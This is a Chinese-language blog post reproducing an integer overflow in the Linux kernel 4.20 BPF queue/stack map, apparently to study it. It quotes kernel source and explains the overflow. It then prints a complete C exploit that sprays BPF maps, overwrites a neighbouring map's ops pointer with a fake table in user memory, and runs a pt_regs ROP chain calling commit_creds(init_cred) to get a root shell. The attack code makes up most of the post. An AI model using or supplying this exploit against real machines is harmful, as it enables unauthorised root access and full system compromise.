Linux kernel 4.20 BPF 整数溢出 复现

这个漏洞貌似没有CVE编号。

依然是根据bsauce大佬的思路进行复现。

说实话,看bsauce大佬的github,BPF模块的漏洞貌似挺多。

cpp 复制代码
// /kernel/bpf/syscall.c
SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr __user *, uattr, unsigned int, size)
{
    union bpf_attr attr = {};
    int err;

    if (sysctl_unprivileged_bpf_disabled && !capable(CAP_SYS_ADMIN))
        return -EPERM;

    err = bpf_check_uarg_tail_zero(uattr, sizeof(attr), size);
    if (err)
        return err;
    size = min_t(u32, size, sizeof(attr));

    /* copy attributes from user space, may be less than sizeof(bpf_attr) */
    if (copy_from_user(&attr, uattr, size) != 0)
        return -EFAULT;

    err = security_bpf(cmd, &attr, size);
    if (err < 0)
        return err;

    switch (cmd) {
    case BPF_MAP_CREATE:
        err = map_create(&attr);
        break;
    case BPF_MAP_LOOKUP_ELEM:
        err = map_lookup_elem(&attr);
        break;
	  case BPF_MAP_UPDATE_ELEM:
		    err = map_update_elem(&attr);
		    break;
    ... ...
    case BPF_MAP_LOOKUP_AND_DELETE_ELEM:
        err = map_lookup_and_delete_elem(&attr);
        break;
    default:
        err = -EINVAL;
        break;
    }

    return err;
}
cpp 复制代码
static int map_create(union bpf_attr *attr)
{
   
    map = find_and_alloc_map(attr);//根据map的类型分配空间,创建map结构体,并为其编号,以后利用编号寻找生成的map。
   
}
cpp 复制代码
static struct bpf_map *find_and_alloc_map(union bpf_attr *attr)
{
	..........................
	map = ops->map_alloc(attr);  //调用虚函数
	.....................
}
cpp 复制代码
static struct bpf_map *queue_stack_map_alloc(union bpf_attr *attr)
{
	.....................

	size = attr->max_entries + 1; //   会产生整数溢出

    queue_size = sizeof(*qs) + (u64) value_size * size;

	.........................

	qs = bpf_map_area_alloc(queue_size, numa_node); // 申请过小的块
	

	bpf_map_init_from_attr(&qs->map, attr);  // 初始化函数

	qs->map.pages = cost;
	qs->size = size;

	raw_spin_lock_init(&qs->lock);

	return &qs->map;
}

这是主要的漏洞函数链

cpp 复制代码
struct bpf_queue_stack {
	struct bpf_map map;
	raw_spinlock_t lock;
	u32 head, tail;
	u32 size; /* max_entries + 1 */

	char elements[0] __aligned(8);
};
cpp 复制代码
struct bpf_map {
	/* The first two cachelines with read-mostly members of which some
	 * are also accessed in fast-path (e.g. ops, max_entries).
	 */
	const struct bpf_map_ops *ops ____cacheline_aligned;
	struct bpf_map *inner_map_meta;
#ifdef CONFIG_SECURITY
	void *security;
#endif
	enum bpf_map_type map_type;
	u32 key_size;
	u32 value_size;
	u32 max_entries;
	u32 map_flags;
	u32 pages;
	u32 id;
	int numa_node;
	u32 btf_key_type_id;
	u32 btf_value_type_id;
	struct btf *btf;
	bool unpriv_array;
	/* 55 bytes hole */

	/* The 3rd and 4th cacheline with misc members to avoid false sharing
	 * particularly with refcounting.
	 */
	struct user_struct *user ____cacheline_aligned;
	atomic_t refcnt;
	atomic_t usercnt;
	struct work_struct work;
	char name[BPF_OBJ_NAME_LEN];
};
cpp 复制代码
union bpf_attr {
	struct { /* 用于 BPF_MAP_CREATE 命令,添加bpf */
		__u32	map_type;	/* one of enum bpf_map_type */
		__u32	key_size;	/* size of key in bytes */
		__u32	value_size;	/* size of value in bytes */
		__u32	max_entries;	/* max number of entries in a map */
		__u32	map_flags;	/* BPF_MAP_CREATE related
					 * flags defined above.
					 */
		__u32	inner_map_fd;	/* fd pointing to the inner map */
		__u32	numa_node;	/* numa node (effective only if
					 * BPF_F_NUMA_NODE is set).
					 */
		char	map_name[BPF_OBJ_NAME_LEN];
		__u32	map_ifindex;	/* ifindex of netdev to create on */
		__u32	btf_fd;		/* fd pointing to a BTF type data */
		__u32	btf_key_type_id;	/* BTF type_id of the key */
		__u32	btf_value_type_id;	/* BTF type_id of the value */
	};
  
	struct { /* 用于 BPF_MAP_*_ELEM 命令,可编辑bpf */
		__u32		map_fd;
		__aligned_u64	key;
		union {
			__aligned_u64 value;
			__aligned_u64 next_key;
		};
		__u64		flags;
	};

这是两个比较重要的结构体。

很明显在max_entries+1发生了整数溢出。

所用的是kmalloc-256,考虑覆盖下一个堆块。很明显就是覆盖下一个bfp_queue_stack的函数表指针,没开smap,所以可以在用户空间伪造。

bsauce大佬是用'xchg eax,esp',但是这需要观察寄存器,而这个内核镜像'add rsp'这个gadget很足,所以我还是采用pt_regs这种打法。

cpp 复制代码
#define _GNU_SOURCE
#define SPRAY_NUMBER 14

#include <signal.h>
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/ioctl.h>

size_t victim[SPRAY_NUMBER];

void spray(){
    int i;
    for(i=0;i<SPRAY_NUMBER;i++){
        victim[i] = syscall(__NR_bpf, 0, 0x200011c0, 0x2c);
    }
    return;
}

void get_shell(){
    if(getuid()==0){
        printf("[+] success!!!\n");
        system("/bin/sh");
    }
    else{
        printf("something wrong!!\n");
    }
}

size_t commit_creds=0xffffffff810e3ab0;
size_t init_cred=0xffffffff8244c920;
size_t pop_rdi=0xffffffff810013b9;
size_t pppr=0xffffffff81013c05;
size_t restore=0xffffffff81c0097f;

int main(){
  signal(SIGSEGV,get_shell);
  syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
  long res = 0;
  *(uint32_t*)0x200011c0 = 0x17;   
  *(uint32_t*)0x200011c4 = 0;      
  *(uint32_t*)0x200011c8 = 0x40;  
  *(uint32_t*)0x200011cc = -1;     
  *(uint32_t*)0x200011d0 = 0;     
  *(uint32_t*)0x200011d4 = -1;     
  *(uint32_t*)0x200011d8 = 0;      
  *(uint8_t*)0x200011dc = 0;
  *(uint8_t*)0x200011dd = 0;
  *(uint8_t*)0x200011de = 0;
  *(uint8_t*)0x200011df = 0;
  *(uint8_t*)0x200011e0 = 0;
  *(uint8_t*)0x200011e1 = 0;
  *(uint8_t*)0x200011e2 = 0;
  *(uint8_t*)0x200011e3 = 0;
  *(uint8_t*)0x200011e4 = 0;
  *(uint8_t*)0x200011e5 = 0;
  *(uint8_t*)0x200011e6 = 0;
  *(uint8_t*)0x200011e7 = 0;
  *(uint8_t*)0x200011e8 = 0;
  *(uint8_t*)0x200011e9 = 0;
  *(uint8_t*)0x200011ea = 0;
  *(uint8_t*)0x200011eb = 0;
  res = syscall(__NR_bpf, 0, 0x200011c0, 0x2c);
  spray();
  *(uint32_t*)0x200000c0 = res;       // map_fd   根据BPF_MAP_CREATE返回的编号找到对应的bpf对象
  *(uint64_t*)0x200000c8 = 0;          // key
  *(uint64_t*)0x200000d0 = 0x20000140; // value     输入的缓冲区
  *(uint64_t*)0x200000d8 = 2;          // flags     = BPF_EXIST =2  以免错误返回
  uint64_t* ptr = (uint64_t*)0x20000140;
  size_t* fakestack=mmap((void *)0xa000000000,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
  fakestack[2]=0xffffffff8129eeae;
  ptr[0]=1;
  ptr[1]=2;
  ptr[2]=3;
  ptr[3]=4;
  ptr[4]=5;
  ptr[5]=6;
  ptr[6]=0xa000000000; //从偏移0x30才开始覆盖。虚表指针ops在开头,但bpf_queue_stack管理结构大小0xd0,但是申请空间时需0x100对齐,0x100-0xd0=0x30。
  ptr[7]=8;
  syscall(__NR_bpf, 2, 0x200000c0, 0x20);
  int i=0;
  for(;i<SPRAY_NUMBER;i++){

    __asm__(
    //"mov r15,0xdeadbeef;"
    "mov r14,pop_rdi;"
    "mov r13,init_cred;"
    "mov r12,pppr;"
    //"mov rbp,0xdeadbeef;"
    "mov rbx,0xdeadbeef;"
    //"mov r11,0xdeadbeef;"
    "mov r10,commit_creds;"
    "mov r9,restore;"
    "mov r8,0xdeadbeef;"
    );
  
    close(victim[i]);
  }
}

rbp这个寄存器不能修改,不然会报错说0xa00000010这个地址不能访问,r15能不能访问没去试,毕竟寄存器已经够用了。

直接运行的话会segmentfualt,不知道为什么,只能用signal来引导到system('/bin/sh')。

相关推荐
woshilys21 分钟前
sql server 查询对象的修改时间
运维·数据库·sqlserver
疯狂飙车的蜗牛1 小时前
从零玩转CanMV-K230(4)-小核Linux驱动开发参考
linux·运维·驱动开发
恩爸编程2 小时前
探索 Nginx:Web 世界的幕后英雄
运维·nginx·nginx反向代理·nginx是什么·nginx静态资源服务器·nginx服务器·nginx解决哪些问题
Michaelwubo3 小时前
Docker dockerfile镜像编码 centos7
运维·docker·容器
远游客07133 小时前
centos stream 8下载安装遇到的坑
linux·服务器·centos
马甲是掉不了一点的<.<3 小时前
本地电脑使用命令行上传文件至远程服务器
linux·scp·cmd·远程文件上传
jingyu飞鸟3 小时前
centos-stream9系统安装docker
linux·docker·centos
好像是个likun3 小时前
使用docker拉取镜像很慢或者总是超时的问题
运维·docker·容器
超爱吃士力架3 小时前
邀请逻辑
java·linux·后端
LIKEYYLL5 小时前
GNU Octave:特性、使用案例、工具箱、环境与界面
服务器·gnu